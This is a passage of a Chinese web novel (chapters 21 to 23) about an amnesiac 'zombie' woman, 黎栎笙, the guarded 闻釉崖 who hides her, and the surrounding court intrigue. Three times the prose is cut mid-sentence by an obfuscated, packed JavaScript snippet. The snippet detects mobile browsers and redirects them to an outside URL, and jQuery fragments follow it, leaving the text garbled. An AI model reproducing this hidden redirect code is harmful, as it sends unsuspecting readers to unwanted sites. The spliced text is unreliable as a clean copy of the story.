在黎栎笙有些无措的目光下,她冷笑着讥讽道:“还是你自己收着吧,你的催命符,我可不敢要。” 21. 独占 这是长命锁,寓意长命百岁的东西,怎么可能是催命符呢? 黎栎笙将掉在地上的长命锁捡了起来,小心翼翼地擦去上面的灰尘,确定它没有被摔坏才松了口气。 她觉得自己应该要小小地生个气,不要就不要嘛,为什么要摔它,但是比生气更先到来的是没由来的悲伤。 黎栎笙的指尖摸索过长命锁上的每一道花纹,就在此时,她感觉到长命锁背面边缘处有些许自己之前没有注意到的痕迹,她悄悄看了一眼,发现那个不起眼的地方竟然刻着“釉崖”二字。 “这是你的……” 它分明是闻釉崖的长命锁。 原来不是自己的东西,那为什么会出现在陪葬品里? “以后就不是了。”闻釉崖冰冷的声音在她耳边响起,“你那么想要就拿着,不想要就扔了。” 黎栎笙当然舍不得扔,她只能先把这个遭人嫌弃的长命锁攥在手心。 她的神色略有些复杂,这位闻姑娘虽然说长命锁是催命符,可却一直把它放在身上,言语和行为之间充满了矛盾,虽然她的目光如冰,但黎栎笙却从她强装镇定的眼眸下看到了哀戚与脆弱。 而她的一切矛盾与喜怒无常似乎都指向了过去的自己。 黎栎笙紧抿着唇,她第一次如此迫切地想要知道自己过去的记忆,可现在哪怕她努力去想,也只能听到让人心烦的电子“滴滴”声。 黎栎笙尝试了好几次,除了让自己的头一次比一次疼外,没有丝毫收获。 但在寂静且氛围凝滞的屋子里,她低垂着头,身体偶尔会因为头痛微微颤抖,这样一副像是被人欺负的模样落在闻釉崖眼中,却并没有让她感到一丝一毫的痛快。 她甚至看了一眼自己的右手,心底掠过一道焦虑的念头:自己刚刚用的劲太大了吗? 当闻釉崖意识到自己在反思什么后,她心里只剩下自嘲的念头,事到如今,自己竟然会因为拍在对方手上的力道重了点而心软。 “闻姑娘……你能不能为我解答一个困惑?”黎栎笙那双含着温润水光的眸子里带着祈求,她甚至扯住了闻釉崖的袖边晃了晃。 闻釉崖呼吸微滞,她强行将自己的视线挪开,并将袖子扯了回来,她再三告诫自己不能心软。 这样撒娇卖乖的方式还是自己小时候常用的手段,没想到这个人用起来倒是更加得心应手。 “你可以问,但我不一定会回答你。”闻釉崖还是那副不近人情的样子。 “我明白了。”黎栎笙眉眼间的忧虑化开了一些,她总觉得以闻姑娘的性格来看,没彻底否决就意味着可行。 她在床上坐直了身体,看起来格外乖巧听话。 闻釉崖感觉自己似乎又在不知不觉间被拿捏了,她冷冷地瞥了黎栎笙一眼,示意她别耍花招,“言归正传,你说你不记得有关长命锁的事情,并且醒来就在棺材里,那么你对进入棺材之前的事情还有多少印象?” “我只对名字还有一点印象,其它的一点都不记得了。”黎栎笙拍了拍自己的额头,露出了有些头疼的表情。 “全都不记得了?”虽然之前就猜到了一些,但听到黎栎笙承认了这件事情,闻釉崖的心脏还是不受控制地快跳了两拍。 “都不记得了。” 闻釉崖微微敛眸,这个人很擅长伪装,虽然之前就有所猜测,但她还不敢完全确定眼前这个人真的什么都忘了。 “你对景文漾这个名字还有印象吗?”景文漾是当今陛下的名讳,也是那位黎相最偏爱的学生,闻釉崖仔细盯着她的神情,寻找破绽。 黎栎笙感觉这个名字有点熟悉,想了一会后才摇头道:“有点熟悉,但想不起来在哪听过。” 她真老老实实回答了,却没想到自己的诚实只换来了闻釉崖越发难看的脸色,明明脸色黑如锅底,但对方最后竟然笑了一声,只是笑声中透着让人心酸的凄凉。 黎栎笙有些手足无措,她没见过有人能笑得如此心酸,更怕这人被自己的一句话气疯了。 倒不是担心闻釉崖会对自己怎么样,只是她怕这个病恹恹的人会气出个好歹。 她不知道自己的一句失忆了还有熟悉感会被解读成多么重的偏爱,她想去搀扶身子有些摇摇欲坠的人,但下一瞬,闻釉崖冰冷的视线就看了过来。 无所谓了,反正从今以后她没有机会再接触到那些人。 阴暗的念头在她的心底生根发芽,闻釉崖想自己的做法或许有些疯狂,但就算她疯了,那也是被黎栎笙逼疯的! “你刚刚想知道什么,问吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223821|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”闻釉崖的语气平稳到让人有些心惊胆战。 “我……”黎栎笙原本想问自己和闻釉崖之前是什么关系,但是闻釉崖现在的状态让人担忧,她怕自己如果开口问了,会起到火上浇油的效果。 就在黎栎笙不知道该如何组织语言的时候,外面忽然传来了许洢的声音。 “乌大人,屋子里正在办法事,您先等一等吧。” “好。” 乌宵月? 闻釉崖看了一眼屋外的方向,眼神中的失控情绪渐渐冷静下来,她现在还有更要紧的事情要做。 “你知道吗,最近安湘城谣言四起,将出现僵尸的事情与当今皇帝得位不正联系在了一起。” 黎栎笙听着听着就感觉出不对劲了,自己不过是一只无辜的僵尸,怎么还和皇家秘闻扯在了一起?! “分明是有人想造反,偏偏拿我当幌子。”现在黎栎笙虽然对外面的事情比较懵懂,但是一点就通。 “话虽如此,但外面现在到处在搜捕僵尸,你要是随便乱跑被抓了,结局只会是被烧了祭天。”闻釉崖微俯下身,在她耳畔用带着些许危险性的声音蛊惑道:“所以这段时间你就乖乖待在这里,无论如何我会保你一命,但是落在别人的手上就不好说了。” “包括那个乌宵月,她是皇帝的人,她知道了就意味着皇帝知道了,为了皇权稳固,你的下场恐怕比烧了祭天还惨,所以你要藏好自己的异常,别被发现,我会给你安排一个合适的身份,帮你将外面那些人糊弄过去……” 她带着药香味的气息落在黎栎笙的耳垂上,声音听起来不像刚刚那样吓人了,甚至还有一些安抚的意味,但黎栎笙的直觉告诉自己,闻釉崖的危险性并没有降低。 不过那又如何,相比较于其他人,黎栎笙的内心更偏向于眼前这位闻姑娘,而且她与自己的曾经有很深的纠葛,或许顺着这条线索找下去,自己就能找到所谓的反派呢。 “好,我一定会小心。”黎栎笙乖乖地应了下来。 在黎栎笙看不见的角度,闻釉崖紧绷的身形稍稍放松了一点,不过随之也露出了一抹疲惫的神色,之后她还要去应对外面那个人。 她要将所有指向过去那个人的线索全部抹掉,不能让任何消息传到那几个有心之人的耳中。 22. 羞恼 接下来,她要把皇帝的眼线糊弄过去。 闻釉崖强行打起精神准备去应付外面的那个人,但病了那么多天,又没有睡好,今天情绪起伏过大的结果就是当她站直身体的时候有一阵眩晕感袭来。 一直在担心她身体状况的黎栎笙立刻发现了异常,想也没想就将差点摔倒的人抱进怀里。 闻釉崖被熟悉的气息包裹后身体立刻紧绷起来,她不想在清醒的情况下在黎栎笙面前露出如此脆弱的样子,可惜虚弱的身体让她一时半会使不上劲,难以推开黎栎笙 从刚刚开始一直被凶的黎栎笙露出了软和的神情,难得看到这位闻姑娘乖巧的样子,不、虽然现在也会露出凶巴巴的眼神,但还挺可爱的,如果不是在病中就更好了。 黎栎笙虽然觉得自己这时候应该顺手摸摸她的头,但思索再三后她还是遗憾放弃,这种抚虎须的事情不适合现在做。 “别急,缓一缓。”黎栎笙轻轻拍抚着她的背,这时候眼尖的她注意到闻釉崖无力再攥紧的手心里渗出了血迹,她将那受伤的手拉过来一看,发现那只手上不仅指尖上有割出来的伤口,掌心里还有被她自己掐出来的血痕。 “你对自己也太狠了些,不知道疼吗?”黎栎笙一早就看到许洢放在旁边的药了,她顺手拿过来看了一眼上面写的字。 “金……疮药,好像就是治伤用的吧?”黎栎笙的认知中浮现了零零碎碎的知识,“我帮你上些药,然后就别碰水了。” 她的声音温柔得如同自己刚刚被捡回去的那段日子,闻釉崖死死咬了一下唇,将眼底的酸涩忍了回去。 “不需要。”她冷冰冰地回绝,并想将自己的手扯回来,可惜她现在生着病,没什么力气,所以依旧没能将自己的手抽回来。 “怕疼?”黎栎笙话音刚落,就引来了怒视。 “好好好,知道你不怕疼,但如果伤口感染了,遭罪的还是你自己。”黎栎笙终于趁着人还没有缓过劲的时候,将金疮药涂抹在她的伤口上。 黎栎笙涂好药后还轻轻吹了吹闻釉崖手上的伤口,微凉的风吹拂过她的手心,让闻釉崖的手微不可查地颤了一下。 “下次千万别把受了伤的手往僵尸嘴里塞了,多危险?万一我凶性大发把你咬了怎么办?”黎栎笙不知道身为僵尸的自己有什么特性,传说中的僵尸沾了血可是会要人命的,这姑娘胆子怎么这么大。 “我自有办法对付一个没有理智的僵尸。”闻釉崖冷笑了一声。 黎栎笙的嘴角微微勾起,没有挑明某个人的逞强,虽然这个时候的闻姑娘没有力气掐自己脖子了,但是像当初那样咬自己一口还是可以的。 “话说回来,你有没有注意到你食指上的伤口好像愈合了一点?难道僵尸有这样神奇的功效?要不要下次上药之前我再帮你舔唔!”黎栎笙的嘴被捂了起来,剩下几个字变成了含糊的呜呜声。 闻釉崖强撑着身体直接捂住了黎栎笙的嘴,她的眼眸中甚至还带着一丝惊愕和羞恼。 “你、你怎么能……”说出这样的话? 黎栎笙用无辜懵懂的眸子看着闻釉崖,她现在就是一个前尘尽忘、什么都不记得的僵尸,哪里知道什么该说什么不该说呢? 闻釉崖的心里忽然涌上了一种无力感,她最后只能警告道:“我不需要你的好心,下次也别说这样的话。” “唔唔。”知道了。 黎栎笙乖乖点头。 闻釉崖这次稍稍松开了手,然后就听到黎栎笙用带着困惑的声音道:“我以为你不会介意,毕竟刚刚你也把手指放我嘴里了。” 闻釉崖:“……” “如果不是因为你,我何至于……”闻釉崖的声音中带着咬牙切齿的意味,只不过她泛红的耳朵暴露了她真实的心情。 “叩叩叩。”外面传来了敲门声,乌宵月听到里面好像有动静,于是问道:“闻釉崖?里面出了什么事吗?” 乌宵月的声音恰到好处地为她解了围,闻釉崖立刻接下了她的话,一边警告黎栎笙不要乱跑,一边出门应付外面那个人。 此时她也忘了问黎栎笙刚刚想要自己解答什么困惑,黎栎笙虽然记得,但是她觉得这个节骨眼上,自己或许需要更加稳妥的方式从别的渠道获取想要的情报,还是暂时不要招惹这身体不好一点就炸的爆竹了。 闻釉崖扶着柜子站了起来,虽然脚步有些发软,但能正常走路了。 “慢一些,当心摔着。”黎栎笙的声音越软,闻釉崖走路的速度就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227385|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越快。 只听“砰”的一声,门被她关上了,黎栎笙才轻轻地笑出声。 怎么耳朵都红了呢,不会口是心非吧? 乌宵月抱着剑站在门口,略有些担忧地看着行为举止有些奇怪的闻釉崖。 “你还好吧?用不用我把大夫喊过来?” “无事。”闻釉崖摇摇头,从那屋子里出来后,冷风一吹倒是让她的思绪清晰了一些。 “没事就行,里面那个是什么情况?我怎么听说她……死了?还有这些和尚道士,都是你找过来做法事的?”乌宵月还在外面调查逆党的事情,结果一回来就发现闻府快要被香火气笼罩了。 “没死,救回来了。”闻釉崖面不改色地道。 “活着就行,我刚刚听到那些人说什么养尸之类的话,还以为真出了僵尸之类的东西。”乌宵月望向那群和尚道士,不含任何情绪的眼眸中也不知道在想什么。 “呵,什么鬼怪都是人心里的东西,就比如说现在的僵尸食人案,又比如说十一年前她亲自办的画皮鬼案,不都是人祸吗。”闻釉崖看似不经意地将事情指向了十一年前的那个案子。 “你说的对。”乌宵月对那个画皮鬼案有所耳闻,那还是在先帝朝时,有个极厉害的高手会用人皮制造出完美的易容媒介,当时闹得整个京城人心惶惶,都以为是画皮鬼作祟。 后来黎相亲手办理了此案,把那个“画皮鬼”抓出来后才平息了这场风波。 “不过说到画皮鬼案,屋里的那个……世上真的会有一模一样的人吗?”乌宵月在闻釉崖有意的提醒下,下意识流露出这样的担忧。 闻釉崖收到的消息她也有所耳闻,比如说那个人像鬼一样从山里走出来。 “这件事情交给我来处理,我从画皮鬼案的犯人身上学了破解那类易容术的手段,她是无辜的还是诱饵,看她那身皮是真是假就知道了,不过这需要很长时间。” “你专心谣言的事情吧,从漱雨楼查逆贼应该会更快。” 在闻釉崖毫无破绽的应对下,乌宵月放下了心底的困惑。 她在心里松了口气,也对,黎相怎么可能真的变成僵尸从土里爬出来,也是那个仵作天天一惊一乍,害得自己都差点信了。 23. 负心 “也好,那方面的事情你查起来比我快,不过你也别太废心神,如果你这里真出了点意外,我也就不用回去见陛下了。”乌宵月看着她休养了那么长时间好像都没有丝毫起色的身体状态就有些担忧,之前她抓了好几个大夫轮流给她看诊了脉,可惜所有大夫都摇头叹息,说她这是心神耗尽的短命之相。 乌宵月都不知接下来自己要呈给陛下的奏疏中该怎么写。 提到京城的那位,闻釉崖的脸色就变了变,虽然她没有说什么,但是周身的气息立刻沉了下来。 看来时间还是没能减少两位之间的隔阂,于是乌宵月转移了话题道:“你听说了外面的动静了吗?” “端王?”闻釉崖不用猜也知道那位风风火火赶来安湘城后一定会闹出大动静。 “是,她先来了你这里,知道家里在办法事不方便进后就离开了,接着先砸了知府的家,后把知府拖到了山上,说查不出个结果就别回去了。”乌宵月也不想事情闹大,防止打草惊蛇,但端王的性格古怪,先不说她在秘密调查逆党的案子不方便出面,就是她亲自去了,也不一定能将那位劝回来。 “像是她会做的事情,端王还没有把知府的祖坟刨了就说明她还有一些理智。”闻釉崖并不奇怪她的做法。 乌宵月叹了口气,“我只是不知她这是真气昏了头,还是故意自导自演。” “端王或许会谋逆,但她不会去挖黎栎笙的坟,单论盗墓一事应该和她无关。”闻釉崖虽然不想帮那个人说话,但这确实是事实。 “你如此肯定?” 闻釉崖嗤笑了一声:“你也知道端王年幼时经历了什么,她对陛下可没有什么亲情可言,但是对另外一位可就不一样了。” 乌宵月年少从边疆回来并进入暗枢司后负责一些情报工作,当然少不了知道一些京城暗地里的流言蜚语。 “你是说那件事,原来如此。”乌宵月露出了恍然大悟的神色,“我一直以为那些话是有人瞎传的,没想到端王真的对黎相……” 乌宵月的话都还没有说完,闻釉崖就停下了脚步,落在她身后半步的乌宵月躲闪不及时差点撞到人。 随即走在她前面的人侧过身,那视线让乌宵月感觉自己就像是被一条毒蛇盯上了,她立刻闭了嘴,差点忘了很多年前闻釉崖将黎相看得有多紧,自己要是把话说出口就是找打。 “咳,当我没说,你别动气。” “但是端王那边得稳住,我不方便出面,如果外面闹得动静大了,恐怕还需要你去把端王安抚下来。”乌宵月轻叹了一声。 “本来应该让你好好养病的。” “无碍,事到如今,我也不可能安安心心地养病。”不过自己这副身体也确实应该尽快好起来,不然一来没有心力对付外面的人,二来还容易被房里的人拿捏了。 闻釉崖微微垂下眼眸,藏在发丝间的耳尖仍有些泛红,她眼底也满是不甘心和对外面那些人的戒备。 在她们两个离开偏院后不久,一道小小的身影从草丛中蹿了出来,它舔了舔爪子伸了个懒腰,然后一鼓作气跳到了窗户边。 “云朵!你别乱跑,这边不能来!”一个还带着稚气的声音压低了嗓音到处呼唤,她追着自家小猫一路来到了香火颇旺的地方,看着那个阴森的偏院,小姑娘不由自主地哆嗦了一下。 自从她之前在大街上吃馄饨的时候看见了家主,然后赶紧回去通知姐姐后,府里的氛围就变得很可怕。 她听别人聊天的时候说起过这个偏院,听说这里有死人呢,家主将这边封了,闲杂人等都不许进,她追着小猫从狗洞才钻进来的。 许汐蓝想到自家姐姐的叮嘱,她只能硬着头皮想着赶紧把云朵找出来,然后抱着猫悄无声息地退出去,结果她找了一圈竟发现云朵跑到了偏远屋子的窗户边。 “别进去!”她的第三个字还没说出口,小猫就直接撞开窗户跳了进去。 紧接着又是一通“叮铃咣啷”像是小猫把什么东西撞翻的声音传来,小姑娘只觉得自己今天晚上大概不能躺着睡觉了,因为屁股会被姐姐揍肿。 “天呐小祖宗,你知不知道自己闯祸了,家主要是知道一定会很生气的,到时候你的小鱼干全都要被克扣掉!”许汐蓝战战兢兢地走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232880|196798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前想看看屋里的惨状,却没想到自己今天看到了一位非常漂亮,就是有些不太像活人的姐姐。 而跳进屋子里的云朵已经将几个香炉踹翻,然后在角落里炸着毛对那个姐姐喵喵叫。 “这是你的猫吗?很可爱。”那位不似人的姐姐温温柔柔地对她笑了笑。 小姑娘的警惕心瞬间降了一大半,这么温柔漂亮的姐姐怎么可能是坏人呢? “那个……对不起,我帮你把这里收拾好,能不能别和其他人说,尤其不能让我姐姐和家主知道云朵和我进来过?!”小姑娘双手合十,一副求求你的样子。 那位看起来很温柔的姐姐被逗笑了,许汐蓝感觉十拿九稳了,但没想到这位看起来格外温柔的姐姐竟然用那种哄孩子的语气道:“不行哦~” 许汐蓝愣了一会后才意识到这位陌生的姐姐无情地拒绝了自己,她立刻变成了一副可怜兮兮的模样哀求这位姐姐高抬贵手。 “想让我不说也可以,但你得拿一些我感兴趣的东西来交换。”黎栎笙抬手托着下巴,一副要哄骗小孩子的模样。 “要、要钱吗?我有一点,但是不多……”许汐蓝一摸自己的口袋,就剩下几个铜板了。 “我不要钱,我只是想向你打听一个人。” “关于家主的任何事情我都不会说的!”小姑娘很有原则,这个陌生的姐姐虽然出现在府里,可是自己不认识她,谁知道是敌是友呢。 “我不问闻釉崖的事,你有没有听说过黎栎笙这个名字?”黎栎笙看着眼前这个小孩子的脸上依次浮现了困惑、震惊、恐慌等等有趣的情绪,果然还是个孩子,心里想什么都写在脸上。 只是黎栎笙没想到这个小孩竟然直接翻窗进来捂住了她的嘴,“哎呀,你怎么能直接把那个负心坏女人的名字说出来了!” 许汐蓝还四处张望了一下,好似在确定外面有没有人。 “嘘!我和你说啊,不管姐姐你是谁,绝对绝对不能在这里提这个人的名字,不然家主生气的话会很吓人的!” 黎栎笙许久之后才眨了一下眼睛,负心坏女人?谁?自己吗?